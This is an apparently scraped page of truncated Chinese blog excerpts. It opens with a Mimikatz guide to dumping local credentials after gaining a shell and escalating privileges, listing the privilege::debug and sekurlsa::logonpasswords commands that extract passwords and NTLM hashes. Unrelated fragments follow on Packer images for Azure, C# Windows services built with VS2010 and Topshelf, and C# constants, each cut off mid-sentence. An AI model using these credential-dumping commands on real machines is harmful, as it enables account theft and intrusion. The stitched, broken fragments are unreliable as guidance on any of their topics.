Mimikatz 下载地址 https://github.com/gentilkiwi/mimikatz/releases 本地凭据破解 以管理员身份运行(拿到shell提权后) mimikatz#privilege::debug "测试是否OK,正确的返回应该是Privilege '20' OK" mimikatz#sekurlsa::logonpasswords "获取本机用户名.口令.SID.LM-HASH.NTLM-HASH" mimikatz#lsadum…
Azure 中的每个虚拟机 (VM) 都是基于定义 Windows 分发和操作系统版本的映像创建的. 映像可以包括预安装的应用程序和配置. Azure 应用商店为最常见的操作系统和应用程序环境提供了许多第一和第三方映像,也可以根据需要创建自己的自定义映像. 本文详细介绍如何使用开源工具 Packer 在 Azure 中定义和生成自定义映像. 创建 Azure 资源组 生成过程中,Packer 将在生成源 VM 时创建临时 Azure 资源. 要捕获该源 VM 用作映像,必须定义资源组. Pack…
本文档用于创建windows服务说明,使用vs2010系统平台 创建项目 1 创建windows服务项目 2 右键点击Service1.cs,查看代码, 用于编写操作逻辑代码 3 代码中OnStart用于执行服务事件,一般采用线程方式执行方法,便于隔一段事件执行一回 END 安装服务配置 1 打开Service1.cs视图界面 2 在视图内右键-->添加安装程序 3 项目中添加了ProjectInstaller.cs文件,该文件中视图自动会添加俩个组件 serviceProcessInstall…
除了通过.net提供的windows服务模板外,Topshelf是创建Windows服务的另一种方法. 官网教程:http://docs.topshelf-project.com/en/latest/configuration/quickstart.html 优点: 1.可以直接调试运行. 2.命令更方便. 3.Topshelf是一个开源的跨平台的宿主服务框架,支持Windows和Mono 下载: Install-Package Topshelf 开发: 0.创建服务 1.安装 2.启动 3.停…
C#创建Windows服务入门图解(VS2010) Windows服务大家都知道,比如Audio.Theme都是大家比较熟悉的服务,他们可以设为自动启动的,并且在注册表的开机自启动项里是没有痕迹的.所以以前曾经用来隐藏过木马.但以前搞的那个木马服务,是通过手工导注册表来做的.从来没正式的开发过一个服务. 之前做的一个项目里有人用Service的方法定时获取远程数据,很犀利,我感觉还是挺有用的.所以今天我也开荒了一下用C#开发Windows服务,正规的体验了一下开发流程.下面就是我做的最入门的例子…
1.创建windows服务项目…
Ø  前言 C# 创建 Windows 服务的方式有很多种,Topshelf 就是其中一种方式,而且使用起来比较简单.下面使用 Visual Studio Ultimate 2013 演示一下具体的使用步骤: 1.   首先,新建一个控制台应用程序,Framework 版本选择4.5,用于测试和启动 Windows 服务. 2.   打开程序包管理器控制台,安装 Topshelft 所需的 dll 文件. 1)   安装 Topshelft.dll 1.   注意:因为需要跟当前项目的 .NET…
前言: 之前写了一篇“使用C#创建windows服务”,https://www.cnblogs.com/huangwei1992/p/9693167.html,然后有博友给我推荐了一个开源框架Topshelf. 写了一点测试代码,发现Topshelf框架确实在创建windows服务上非常好用,于是就对我之前的代码进行了改造. 开发流程: 1.在不使用Topshelf框架的情况下,我们需要创建Windows服务程序,在这里我们只需要创建一个控制台程序就行了 2.添加引用 使用程序安装命令: Ins…
本文首发于:码友网--一个专注.NET/.NET Core开发的编程爱好者社区. 文章目录 C#/.NET基于Topshelf创建Windows服务的系列文章目录: C#/.NET基于Topshelf创建Windows服务程序及服务的安装和卸载 (1) 在C#/.NET应用程序开发中创建一个基于Topshelf的应用程序守护进程(服务) (2) C#/.NET基于Topshelf创建Windows服务的守护程序作为服务启动的客户端桌面程序不显示UI界面的问题分析和解决方案 (3) 前言 在上一篇…
常量,字段,构造方法   常量 1.什么是常量 ​ 常量是值从不变化的符号,在编译之前值就必须确定.编译后,常量值会保存到程序集元数据中.所以,常量必须是编译器识别的基元类型的常量,如:Boolean,Char,Byte,SByte,...,...,...,UInt64,Single,Double,Decimal,String.另外,C#是可以定义非基元类型的常量的,前提是值必须为null. public sealed class SomeType { public const SomeType…